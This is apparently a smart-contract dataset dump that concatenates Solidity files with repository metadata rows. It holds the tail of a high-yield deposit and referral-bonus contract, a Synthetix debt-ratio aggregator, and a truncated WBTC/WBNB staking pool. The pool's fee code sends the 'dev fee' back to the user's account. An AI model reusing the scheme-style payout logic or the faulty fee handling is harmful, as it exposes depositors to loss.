uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 5) {
WITHDRAW_FEE = 1400;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function capped(uint256 length) public pure returns (uint256 cap) {
if(length < MAXIMUM_NUMBER_DEPOSITS) {
cap = length;
} else {
cap = MAXIMUM_NUMBER_DEPOSITS;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 307,670 | 12,434 |
9a9129ee582da77408606a378b9399d9beb4e11e3a9b1054559b0565e66f08f8
| 29,779 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/a4/A408d8e01C8E084B67559226C5B55D6F0B7074e2_OneNetAggregatorDebtRatio.sol
| 4,905 | 20,137 |
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(address from,
address to,
uint value) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Synthetix
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(address issueFor,
address from,
uint amount) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(address burnForAddress,
address from,
uint amount) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(address deprecatedSynthProxy,
address account,
uint balance) external;
function liquidateDelinquentAccount(address account,
uint susdAmount,
address liquidator) external returns (uint totalRedeemed, uint amountToLiquidate);
function setCurrentPeriodId(uint128 periodId) external;
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
event AddressImported(bytes32 name, address destination);
}
interface IDebtCache {
// Views
function cachedDebt() external view returns (uint);
function cachedSynthDebt(bytes32 currencyKey) external view returns (uint);
function cacheTimestamp() external view returns (uint);
function cacheInvalid() external view returns (bool);
function cacheStale() external view returns (bool);
function isInitialized() external view returns (bool);
function currentSynthDebts(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory debtValues,
uint futuresDebt,
uint excludedDebt,
bool anyRateIsInvalid);
function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues);
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid);
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid);
function cacheInfo()
external
view
returns (uint debt,
uint timestamp,
bool isInvalid,
bool isStale);
function excludedIssuedDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory excludedDebts);
// Mutative functions
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external;
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external;
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external;
function updateDebtCacheValidity(bool currentlyInvalid) external;
function purgeCachedSynthDebt(bytes32 currencyKey) external;
function takeDebtSnapshot() external;
function recordExcludedDebtChange(bytes32 currencyKey, int256 delta) external;
function updateCachedsUSDDebt(int amount) external;
function importExcludedIssuedDebts(IDebtCache prevDebtCache, IIssuer prevIssuer) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isynthetixdebtshare
interface ISynthetixDebtShare {
// Views
function currentPeriodId() external view returns (uint128);
function allowance(address account, address spender) external view returns (uint);
function balanceOf(address account) external view returns (uint);
function balanceOfOnPeriod(address account, uint periodId) external view returns (uint);
function totalSupply() external view returns (uint);
function sharePercent(address account) external view returns (uint);
function sharePercentOnPeriod(address account, uint periodId) external view returns (uint);
// Mutative functions
function takeSnapshot(uint128 id) external;
function mintShare(address account, uint256 amount) external;
function burnShare(address account, uint256 amount) external;
function approve(address, uint256) external pure returns (bool);
function transfer(address to, uint256 amount) external pure returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
function addAuthorizedBroker(address target) external;
function removeAuthorizedBroker(address target) external;
function addAuthorizedToSnapshot(address target) external;
function removeAuthorizedToSnapshot(address target) external;
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
interface AggregatorV2V3Interface {
function latestRound() external view returns (uint256);
function decimals() external view returns (uint8);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
// aggregator which reports the data from the system itself
// useful for testing
contract BaseOneNetAggregator is Owned, AggregatorV2V3Interface {
using SafeDecimalMath for uint;
AddressResolver public resolver;
uint public overrideTimestamp;
constructor(AddressResolver _resolver) public Owned(msg.sender) {
resolver = _resolver;
}
function setOverrideTimestamp(uint timestamp) public onlyOwner {
overrideTimestamp = timestamp;
emit SetOverrideTimestamp(timestamp);
}
function latestRoundData()
external
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
return getRoundData(uint80(latestRound()));
}
function latestRound() public view returns (uint256) {
return 1;
}
function decimals() external view returns (uint8) {
return 0;
}
function getAnswer(uint256 _roundId) external view returns (int256 answer) {
(, answer, , ,) = getRoundData(uint80(_roundId));
}
function getTimestamp(uint256 _roundId) external view returns (uint256 timestamp) {
(, , timestamp, ,) = getRoundData(uint80(_roundId));
}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80);
event SetOverrideTimestamp(uint timestamp);
}
contract OneNetAggregatorDebtRatio is BaseOneNetAggregator {
bytes32 public constant CONTRACT_NAME = "OneNetAggregatorDebtRatio";
constructor(AddressResolver _resolver) public BaseOneNetAggregator(_resolver) {}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
uint totalIssuedSynths =
IIssuer(resolver.requireAndGetAddress("Issuer", "aggregate debt info")).totalIssuedSynths("sUSD", true);
uint totalDebtShares =
ISynthetixDebtShare(resolver.requireAndGetAddress("SynthetixDebtShare", "aggregate debt info")).totalSupply();
uint result =
totalDebtShares == 0 ? 0 : totalIssuedSynths.decimalToPreciseDecimal().divideDecimalRound(totalDebtShares);
uint dataTimestamp = now;
if (overrideTimestamp != 0) {
dataTimestamp = overrideTimestamp;
}
return (1, int256(result), dataTimestamp, dataTimestamp, 1);
}
}
| 150,545 | 12,435 |
a59ad25f3b2d0bc0c869f1f0eeabd55de564d6c52007b3e198485e4df1d7ae82
| 25,500 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xfE3a82b57603d3A5932174CcDeE5e6624cFfdE96/contract.sol
| 5,460 | 18,972 |
pragma solidity 0.8.2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract WBTC_WBNB_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// TENFI token contract address
address public tokenAddress = 0x081B2aEB9925e1F72e889eac10516C2A48a9F76a;
// LP token contract address
address public LPtokenAddress = 0x7561EEe90e24F3b348E1087A005F78B4c8453524;
// reward rate 20 % per year
uint256 public rewardRate = 7589467;
uint256 public rewardInterval = 365 days;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 public totalDevFee = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
uint256 fee = pendingDivs.mul(2000).div(1e4);
uint256 pendingDivsAfterFee = pendingDivs.sub(fee);
if (pendingDivsAfterFee > 0) {
require(Token(tokenAddress).transfer(account, pendingDivsAfterFee), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivsAfterFee);
totalClaimedRewards = totalClaimedRewards.add(pendingDivsAfterFee);
emit RewardsTransferred(account, pendingDivsAfterFee);
}
if (fee > 0) {
require(Token(tokenAddress).transfer(account, fee), "Could not transfer tokens.");
totalDevFee = totalDevFee.add(fee);
emit RewardsTransferred(account, fee);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (block.timestamp <= farmEnableat + 1 days) {
uint256 pendingDivs = stakedAmount.mul(84243077).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 1 days && block.timestamp <= farmEnableat + 2 days) {
uint256 pendingDivs = stakedAmount.mul(77412558).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 2 days && block.timestamp <= farmEnableat + 3 days) {
uint256 pendingDivs = stakedAmount.mul(71340985).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 3 days && block.timestamp <= farmEnableat + 4 days) {
uint256 pendingDivs = stakedAmount.mul(65648885).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 4 days && block.timestamp <= farmEnableat + 5 days) {
uint256 pendingDivs = stakedAmount.mul(60336258).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 5 days && block.timestamp <= farmEnableat + 6 days) {
uint256 pendingDivs = stakedAmount.mul(55403105).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 6 days && block.timestamp <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(51228899).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 7 days && block.timestamp <= farmEnableat + 8 days) {
uint256 pendingDivs = stakedAmount.mul(47054692).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 8 days && block.timestamp <= farmEnableat + 9 days) {
uint256 pendingDivs = stakedAmount.mul(43259959).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 9 days && block.timestamp <= farmEnableat + 10 days) {
uint256 pendingDivs = stakedAmount.mul(39844699).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 10 days && block.timestamp <= farmEnableat + 11 days) {
uint256 pendingDivs = stakedAmount.mul(36429439).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 11 days && block.timestamp <= farmEnableat + 12 days) {
uint256 pendingDivs = stakedAmount.mul(33773126).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 12 days && block.timestamp <= farmEnableat + 13 days) {
uint256 pendingDivs = stakedAmount.mul(31116813).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 13 days && block.timestamp <= farmEnableat + 14 days) {
uint256 pendingDivs = stakedAmount.mul(28460499).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 14 days && block.timestamp <= farmEnableat + 15 days) {
uint256 pendingDivs = stakedAmount.mul(26183660).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 15 days && block.timestamp <= farmEnableat + 16 days) {
